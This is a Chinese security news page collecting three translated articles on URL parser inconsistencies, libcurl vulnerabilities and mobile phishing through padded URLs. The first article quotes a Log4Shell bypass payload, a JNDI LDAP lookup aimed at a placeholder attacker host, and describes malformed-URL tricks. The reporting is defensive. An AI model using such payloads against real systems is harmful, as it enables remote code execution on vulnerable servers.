标签: URL

研究人员在十几个广泛使用的 URL 解析器库中发现了 bug

 Hackernews 编译,转载请注明出处: 研究员在对16种不同的URL解析库进行研究时发现了不一致和混淆,这可能被用来绕过验证,并且易受到黑客的攻击。 在一项由网络安全公司 Claroty 和 Synk 联合进行的深入分析中,他们在许多第三方库中发现八个安全漏洞,这些漏洞是用 C、 JavaScript、 PHP、 Python 和 Ruby 语言编写的,并被多个 web 应用程序使用。 研究人员在与 The Hacker News 共享的一份报告中表示: “ URL 解析中的混乱可能会导致软件中出现意想不到的情况(比如 web 应用程序) ,并可能被攻击者利用来导致拒绝服务情况、信息泄露,或者可能造成远程代码执行攻击。” 由于 URL 是一种基本机制,可以请求和检索位于本地或网络上的资源,解析库阐释 URL 请求的差异可能会给用户带来重大风险。 一个典型的例子是上个月在无处不在的 Log4j 日志框架中披露的 Log4Shell 漏洞,这个缺陷的原理是这样的,即当一个易受攻击的应用程序对一个恶意攻击者控制的字符串进行日志记录时,该字符串会导致一个 JNDI 查找,该字符串连接到一个攻击者操作的服务器,并执行任意的 Java 代码。 尽管美国 Apache软件基金会安全局(ASF)很快提出了一个修复方案来解决这个问题,但是很快就发现通过”${jndi:ldap://127.0.0[.]1#.evilhost.com:1389/a}” 格式的特制输入可以绕过这个方案,再次允许远程 JNDI 查找实现代码执行。 “这种绕过原理是这样的,即两个不同的(!)URL 解析器在 JNDI 查找过程中被使用了 ,一个解析器用于验证 URL,另一个解析器用于获取 URL,并且根据每个解析器如何处理 URL 的片段部分(#) ,权限也会发生变化,”研究人员说。 具体来说,如果输入被视为一个常规的 HTTP URL,Authority 组件(域名和端口号的组合)将在遇到片段标识符时结束,而如果将其视为一个 LDAP URL,解析器将分配整个”127.0.0[.]1#.evilhost.com:1389″作为权限,因为 LDP URL 规范没有说明片段。 实际上,能够发现这八个漏洞有两个主要原因,使用多个解析器是其一,另一个原因是当库遵循不同的 URL 规范时出现不一致问题时,实际上引入了一个可利用的漏洞。 混淆中不协调的URL包含反斜杠(“\”),不规则的斜杠数量(例如, https:///www.example[.]com)或者 URL 编码数据(“%”),有的URL缺少 URL 方案,这可能被用来获得远程代码执行,甚至出现拒绝服务(DoS)和开放重定向钓鱼攻击。 发现的8个漏洞列表如下,所有这些漏洞都已经由各自的维护者解决了 Belledonne’s SIP Stack (C, CVE-2021-33056) Video.js (JavaScript, CVE-2021-23414) Nagios XI (PHP, CVE-2021-37352) Flask-security (Python, CVE-2021-23385) Flask-security-too (Python, CVE-2021-32618) Flask-unchained (Python, CVE-2021-23393) Flask-User (Python, CVE-2021-23401) Clearance (Ruby, CVE-2021-23435) “许多现实生活中的攻击场景可能来自不同的解析原语,”研究人员说。为了保护应用程序不受 URL 解析漏洞的影响,“有必要充分了解是什么解析器参与了整个过程,解析器之间的区别,它们如何解释不同的错误 URL,以及它们支持什么类型的 URL。”  消息来源:TheHackerNews,译者:Zoeppo; 本文由 HackerNews.cc 翻译整理,封面来源于网络; 转载请注明“转自 HackerNews.cc ” 并附上原文

URL 传输库 libcurl 现多个漏洞或致敏感信息泄露,最早可追溯至 1999 年

外媒 1 月 25 日消息,研究人员发现客户端 URL 传输库 libcurl 正受到一些漏洞影响。其中一个在很大程度上与 HTTP 请求中处理自定义标头的方式有关,可能会导致认证数据泄露给第三方。 除此之外,一个 “HTTP/2 trailer out-of-bounds read ” 的漏洞也对 libcurl 造成了一定困扰。 HTTP 请求中处理自定义标头 当被要求在 HTTP 请求中发送自定义标头时,libcurl 会首先将这组标头发送给初始 URL 中的主机。但若被要求遵循重定向,并且返回一个 30X 的 HTTP 响应代码,那么 libcurl  则会发送给响应头值中的 URL 所提及的主机。 研究人员称,将同一组标头发送到子序列主机对于传递自定义 Authorization 的应用程序来说是一个特殊的问题。因为这组标头通常包含敏感的信息和数据, 可能会被攻击者滥用来模拟 libcurl-using 客户端请求。 这一漏洞被跟踪为 CVE-2018-1000007 ,在 1999 年就已出现。目前受影响的是 libcurl 7.1 至 7.57.0  的版本,后续版本(7.58.0)不受影响。 HTTP/2 trailer 越界读取漏洞 进行访问时数据会被越界读取,从而导致崩溃或者(太大的)数据被传递给 libcurl 回调。若有人的服务能够响应或使用 trailer 头域,那么很可能会导致拒绝服务或信息泄露的情况出现。 该漏洞被跟踪为 CVE-2018-1000005 , 影响 libcurl 7.49.0 至  7.57.0 的版本。所幸目前研究人员并没有发现到这个漏洞在野外被利用。 消息来源: Security Affairs ,编译:榆榆,校审:FOX 本文由 HackerNews.cc 翻译整理,封面来源于网络。 转载请注明“ 转自 HackerNews.cc ” 并附上原文链接。

网络钓鱼新模式,黑客利用连字符伪造 URL

PhishLabs 安全研究人员发现一种新型钓鱼方式,允许黑客利用手机端 URL 地址栏长度不足的劣势引导用户进入钓鱼网站。目前,这一手段已让大量在手机端使用 Facebook 的用户纷纷中招。 研究人员透露,新的攻击策略依赖于移动浏览器 URL 地址栏过窄,从而阻碍了用户查看全部链接内容的漏洞。据悉,黑客利用子域名和连字符等字符串填充 URL,让整个链接在移动设备中看起来极其真实,可一旦用户进入则会被引导至钓鱼网址。 此外,该公司还提供了一个例子,比如 -hxxp://m.facebook.com,这里 http 已被 hxxp 替代。而多数时候用户并不能清楚分辨,但是他们访问的已经是一个钓鱼网址了。他们在该网址的所有动作都会把自身数据传输至黑客手中,而黑客会再利用这些数据通过垃圾邮件把钓鱼网址发送给用户周边的朋友,从而感染更多用户。 事实上,这一点曾在 PC 端出现过,但由于 PC 端的地址栏较长,一些钓鱼网址极易识破。而在手机端,URL 填充方法就非常有效地掩盖了网站的真实域名,移动用户很难发现这一问题。解决这一问题的办法在于确认并检查完整域名,而不仅是 HTTP 的部分,因为每一个字符的错误都可能进入钓鱼网站。此外,安全扫描,屏蔽多数钓鱼网站且不要点击短信和邮件里的链接,因为这些链接的危险度较高,如果有必要一定要仔细检查。 稿源:中关村在线,封面源自网络